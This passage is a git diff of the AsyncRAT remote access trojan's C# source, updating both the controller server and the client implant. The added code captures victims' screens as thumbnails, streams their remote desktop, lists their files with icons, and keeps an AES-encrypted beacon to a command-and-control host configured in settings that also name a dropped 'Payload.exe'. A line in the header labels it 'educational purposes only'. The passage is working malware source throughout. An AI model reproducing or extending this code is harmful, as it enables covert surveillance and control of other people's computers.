buffersize = BitConverter.GetBytes(buffer.Length); ClientSocket.Poll(-1, SelectMode.SelectWrite); @@ -189,12 +156,18 @@ namespace AsyncRAT_Sharp.Sockets } } - public void EndSend(IAsyncResult ar) + private void EndSend(IAsyncResult ar) { lock (EndSendSync) { try { + if (!ClientSocket.Connected) + { + Disconnected(); + return; + } + int sent = 0; sent = ClientSocket.EndSend(ar); Debug.WriteLine("/// Server Sent " + sent.ToString() + " Bytes ///"); @@ -207,5 +180,29 @@ namespace AsyncRAT_Sharp.Sockets } } } + + public void Ping(object obj) + { + lock (SendSync) + { + try + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "Ping"; + msgpack.ForcePathObject("Message").AsString = "This is a ping!"; + byte[] buffer = Settings.AES.Encrypt(msgpack.Encode2Bytes()); + byte[] buffersize = BitConverter.GetBytes(buffer.Length); + ClientSocket.Poll(-1, SelectMode.SelectWrite); + ClientSocket.Send(buffersize, 0, buffersize.Length, SocketFlags.None); + ClientSocket.Send(buffer, 0, buffer.Length, SocketFlags.None); + } + catch + { + Disconnected(); + return; + } + } + + } } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs index 5bab6ad..fc4aeb7 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs @@ -4,6 +4,7 @@ using System; using System.Windows.Forms; using System.Drawing; using AsyncRAT_Sharp.Handle_Packet; +using System.Linq; namespace AsyncRAT_Sharp.Sockets { @@ -39,12 +40,57 @@ namespace AsyncRAT_Sharp.Sockets { try { - Clients client = new Clients(Server.EndAccept(ar)); + Socket socket = Server.EndAccept(ar); + if (IsDublicated(socket)) + { + socket.Dispose(); + } + else + { + new Clients(socket); + } } finally { Server.BeginAccept(EndAccept, null); } } + + private bool IsDublicated(Socket socket) + { + if (Settings.Blocked.Contains(socket.RemoteEndPoint.ToString().Split(':')[0])) + { + return true; + } + + int count = 0; + foreach (Clients client in Settings.Online.ToList()) + { + if (client.LV != null) + { + if (client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0] == socket.RemoteEndPoint.ToString().Split(':')[0]) + count++; + } + } + + if (count > 4) + { + Settings.Blocked.Add(socket.RemoteEndPoint.ToString().Split(':')[0]); + HandleLogs.Addmsg($"Client {socket.RemoteEndPoint.ToString().Split(':')[0]} tried to spam, IP blocked", Color.Red); + foreach (Clients client in Settings.Online.ToList()) + { + if (client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0] == socket.RemoteEndPoint.ToString().Split(':')[0] && client.LV != null) + { + try + { + client.Disconnected(); + } + catch { } + } + } + return true; + } + return false; + } } -} +} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/Handle Packet/FileManager.cs b/AsyncRAT-C#/Client/Handle Packet/FileManager.cs index 6f53ea1..ed58441 100644 --- a/AsyncRAT-C#/Client/Handle Packet/FileManager.cs +++ b/AsyncRAT-C#/Client/Handle Packet/FileManager.cs @@ -13,7 +13,6 @@ namespace Client.Handle_Packet { class FileManager { - public void GetDrivers() { DriveInfo[] allDrives = DriveInfo.GetDrives(); @@ -46,13 +45,10 @@ namespace Client.Handle_Packet } foreach (string file in Directory.GetFiles(path)) { - Icon icon = Icon.ExtractAssociatedIcon(file); - Bitmap bmpIcon = icon.ToBitmap(); - long length = new FileInfo(file).Length; using (MemoryStream ms = new MemoryStream()) { - bmpIcon.Save(ms, ImageFormat.Png); - sbFile.Append(Path.GetFileName(file) + "-=>" + Path.GetFullPath(file) + "-=>" + Convert.ToBase64String(ms.ToArray()) + "-=>" + length.ToString() + "-=>"); + GetIcon(file).Save(ms, ImageFormat.Png); + sbFile.Append(Path.GetFileName(file) + "-=>" + Path.GetFullPath(file) + "-=>" + Convert.ToBase64String(ms.ToArray()) + "-=>" + new FileInfo(file).Length.ToString() + "-=>"); } } msgpack.ForcePathObject("Folder").AsString = sbFolder.ToString(); @@ -60,6 +56,27 @@ namespace Client.Handle_Packet ClientSocket.BeginSend(msgpack.Encode2Bytes()); } + private Bitmap GetIcon(string file) + { + try + { + if (file.EndsWith("jpg") || file.EndsWith("jpeg") || file.EndsWith("gif") || file.EndsWith("png") || file.EndsWith("bmp")) + { + using (Image thumb = Image.FromFile(file).GetThumbnailImage(64, 64, () => false, IntPtr.Zero)) + { + return new Bitmap(thumb); + } + } + Icon icon = Icon.ExtractAssociatedIcon(file); + Bitmap bmpIcon = icon.ToBitmap(); + return bmpIcon; + } + catch + { + return new Bitmap(64, 64); + } + } + public void DownnloadFile(string file, string dwid) { try diff --git a/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs b/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs index dc957ea..4dd7bf1 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs @@ -4,6 +4,8 @@ using Client.Sockets; using Microsoft.Win32; using System; using System.Diagnostics; +using System.Drawing; +using System.Drawing.Imaging; using System.IO; using System.Net.Sockets; using System.Threading; @@ -33,6 +35,13 @@ namespace Client.Handle_Packet } break; + + case "thumbnails": + { + GetScreenShot(); + } + break; + case "sendFile": { Received(); @@ -108,18 +117,8 @@ namespace Client.Handle_Packet { switch (unpack_msgpack.ForcePathObject("Option").AsString) { - case "false": - { - //if (RemoteDesktop.RemoteDesktopStatus == false) return; - // RemoteDesktop.RemoteDesktopStatus = false; - } - break; - case "true": { - // if (RemoteDesktop.RemoteDesktopStatus == true) return; - // RemoteDesktop.RemoteDesktopStatus = true; - // RemoteDesktop.CaptureAndSend(); RemoteDesktop remoteDesktop = new RemoteDesktop(); remoteDesktop.CaptureAndSend(); } @@ -236,7 +235,6 @@ namespace Client.Handle_Packet } } break; - } } catch { } @@ -280,6 +278,22 @@ namespace Client.Handle_Packet } } + private static void GetScreenShot() + { + Bitmap bmp = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height); + using (Graphics g = Graphics.FromImage(bmp)) + using (MemoryStream memoryStream = new MemoryStream()) + { + g.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); + Image thumb = bmp.GetThumbnailImage(256, 256, () => false, IntPtr.Zero); + thumb.Save(memoryStream, ImageFormat.Jpeg); + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "thumbnails"; + msgpack.ForcePathObject("Image").SetAsBytes(memoryStream.ToArray()); + ClientSocket.BeginSend(msgpack.Encode2Bytes()); + } + bmp.Dispose(); + } } } diff --git a/AsyncRAT-C#/Client/Handle Packet/RemoteDesktop.cs b/AsyncRAT-C#/Client/Handle Packet/RemoteDesktop.cs index 74a006d..c1efba1 100644 --- a/AsyncRAT-C#/Client/Handle Packet/RemoteDesktop.cs +++ b/AsyncRAT-C#/Client/Handle Packet/RemoteDesktop.cs @@ -15,7 +15,6 @@ namespace Client.Handle_Packet { class RemoteDesktop { - //public static bool RemoteDesktopStatus { get; set; } public void CaptureAndSend() { try @@ -27,13 +26,13 @@ namespace Client.Handle_Packet IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(60); while (Client.Connected) { - if (!ClientSocket.Client.Connected) break; + if (!ClientSocket.Client.Connected || !ClientSocket.IsConnected) break; Bitmap bmp = GetScreen(); Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height); Size size = new Size(bmp.Width, bmp.Height); BitmapData bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat); - using (MemoryStream stream = new MemoryStream(1000000)) + using (MemoryStream stream = new MemoryStream(10000000)) { unsafeCodec.CodeImage(bmpData.Scan0, rect, size, bmp.PixelFormat, stream); if (stream.Length > 0) @@ -43,14 +42,12 @@ namespace Client.Handle_Packet msgpack.ForcePathObject("ID").AsString = hwid; msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray()); - Client.Poll(-1, SelectMode.SelectWrite); Client.Send(BitConverter.GetBytes(Settings.aes256.Encrypt(msgpack.Encode2Bytes()).Length)); Client.Send(Settings.aes256.Encrypt(msgpack.Encode2Bytes())); } } bmp.UnlockBits(bmpData); - GC.Collect(); - Thread.Sleep(1); + bmp.Dispose(); } } catch { } diff --git a/AsyncRAT-C#/Client/Program.cs b/AsyncRAT-C#/Client/Program.cs index 94f5fbb..f918449 100644 --- a/AsyncRAT-C#/Client/Program.cs +++ b/AsyncRAT-C#/Client/Program.cs @@ -5,7 +5,7 @@ using System; using Client.Helper; // │ Author : NYAN CAT -// │ Name : AsyncRAT // Simple Socket +// │ Name : AsyncRAT // Simple RAT // Contact Me : https://github.com/NYAN-x-CAT @@ -34,7 +34,7 @@ namespace Client while (true) { - if (ClientSocket.Connected == false) + if (!ClientSocket.IsConnected) ClientSocket.Reconnect(); Thread.Sleep(1500); } diff --git a/AsyncRAT-C#/Client/Settings.cs b/AsyncRAT-C#/Client/Settings.cs index caf3e20..61e31fe 100644 --- a/AsyncRAT-C#/Client/Settings.cs +++ b/AsyncRAT-C#/Client/Settings.cs @@ -8,12 +8,13 @@ namespace Client { public static readonly string Ports = "6606"; public static readonly string Host = "127.0.0.1"; - public static readonly string Version = "AsyncRAT 0.4.1"; + public static readonly string Version = "AsyncRAT 0.4.2"; public static readonly string Install = "false"; public static readonly string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe"); public static string Password = "NYAN CAT"; public static readonly Aes256 aes256 = new Aes256(Password); public static readonly string MTX = "%MTX%"; public static readonly string Anti = "%Anti%"; + // public static readonly string Anti = "false"; } -} +} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs index 4d2dccf..fce8090 100644 --- a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs +++ b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs @@ -1,30 +1,36 @@ -using Client.MessagePack; +using Client.Handle_Packet; +using Client.Helper; +using Client.MessagePack; using Microsoft.VisualBasic.Devices; using System; using System.Diagnostics; using System.IO; using System.Net.Sockets; using System.Threading; -using Client.Handle_Packet; -using Client.Helper; + +// │ Author : NYAN CAT +// │ Name : Nyan Socket v0.1 +// │ Contact : https://github.com/NYAN-x-CAT + +// This program is distributed for educational purposes only. namespace Client.Sockets { class ClientSocket { - public static Socket Client { get; set; } private static byte[] Buffer { get; set; } private static long Buffersize { get; set; } private static bool BufferRecevied { get; set; } private static Timer Tick { get; set; } private static MemoryStream MS { get; set; } - private static object SendSync { get; set; } - private static object EndSendSync { get; set; } - public static bool Connected { get; set; } - public static PerformanceCounter theCPUCounter; - public static PerformanceCounter theMemCounter; - public static void InitializeClient() + public static bool IsConnected { get; set; } + private static object SendSync { get; } = new object(); + private static object EndSendSync { get; } = new object(); + private static PerformanceCounter TheCPUCounter { get; } = new PerformanceCounter("Processor", "% Processor Time", "_Total"); + private static PerformanceCounter TheMemCounter { get; } = new PerformanceCounter("Memory", "% Committed Bytes In Use"); + + public static void InitializeClient() { try { @@ -38,24 +44,19 @@ namespace Client.Sockets Client.Connect(Convert.ToString(Settings.Host.Split(',')[new Random().Next(Settings.Host.Split(',').Length)]), Convert.ToInt32(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)])); Debug.WriteLine("Connected!"); - Connected = true; + IsConnected = true; Buffer = new byte[4]; BufferRecevied = false; MS = new MemoryStream(); - SendSync = new object(); - EndSendSync = new object(); - theCPUCounter = new PerformanceCounter("Processor", "% Processor Time", "_Total"); - theMemCounter = new PerformanceCounter("Memory", "% Committed Bytes In Use"); - theCPUCounter.NextValue(); + TheCPUCounter.NextValue(); BeginSend(SendInfo()); - TimerCallback T = CheckServer; - Tick = new Timer(T, null, new Random().Next(30 * 1000, 60 * 1000), new Random().Next(30 * 1000, 60 * 1000)); + Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null); } catch { Debug.WriteLine("Disconnected!"); - Connected = false; + IsConnected = false; } } @@ -84,24 +85,24 @@ namespace Client.Sockets Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit"); msgpack.ForcePathObject("Path").AsString = Process.GetCurrentProcess().MainModule.FileName; msgpack.ForcePathObject("Version").AsString = Settings.Version; - msgpack.ForcePathObject("Performance").AsString = $"CPU {(int)theCPUCounter.NextValue()}% RAM {(int)theMemCounter.NextValue()}%"; + msgpack.ForcePathObject("Performance").AsString = $"CPU {(int)TheCPUCounter.NextValue()}% RAM {(int)TheMemCounter.NextValue()}%"; return msgpack.Encode2Bytes(); } - public static void ReadServertData(IAsyncResult Iar) + public static void ReadServertData(IAsyncResult ar) { try { - if (!Client.Connected) + if (!Client.Connected || !IsConnected) { - Connected = false; + IsConnected = false; return; } - int recevied = Client.EndReceive(Iar); + int recevied = Client.EndReceive(ar); if (recevied > 0) { - if (BufferRecevied == false) + if (!BufferRecevied) { MS.Write(Buffer, 0, recevied); Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); @@ -132,13 +133,13 @@ namespace Client.Sockets } else { - Connected = false; + IsConnected = false; return; } } catch { - Connected = false; + IsConnected = false; return; } } @@ -149,9 +150,9 @@ namespace Client.Sockets { try { - if (!Client.Connected) + if (!Client.Connected || !IsConnected) { - Connected = false; + IsConnected = false; return; } @@ -164,7 +165,7 @@ namespace Client.Sockets } catch { - Connected = false; + IsConnected = false; return; } } @@ -176,9 +177,9 @@ namespace Client.Sockets { try { - if (!Client.Connected) + if (!Client.Connected || !IsConnected) { - Connected = false; + IsConnected = false; return; } @@ -188,7 +189,7 @@ namespace Client.Sockets } catch { - Connected = false; + IsConnected = false; return; } } @@ -196,10 +197,24 @@ namespace Client.Sockets public static void CheckServer(object obj) { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "Ping"; - msgpack.ForcePathObject("Message").AsString = $"CPU {(int)theCPUCounter.NextValue()}% RAM {(int)theMemCounter.NextValue()}%"; - BeginSend(msgpack.Encode2Bytes()); + try + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "Ping"; + msgpack.ForcePathObject("Message").AsString = $"CPU {(int)TheCPUCounter.NextValue()}% RAM {(int)TheMemCounter.NextValue()}%"; + + byte[] buffer = Settings.aes256.Encrypt(msgpack.Encode2Bytes()); + byte[] buffersize = BitConverter.GetBytes(buffer.Length); + + Client.Poll(-1, SelectMode.SelectWrite); + Client.Send(buffersize, 0, buffersize.Length, SocketFlags.None); + Client.Send(buffer, 0, buffer.Length, SocketFlags.None); + } + catch + { + IsConnected = false; + return; + } } } } diff --git a/README.md b/README.md index 938a2cc..0ffe08f 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ - + # AsyncRAT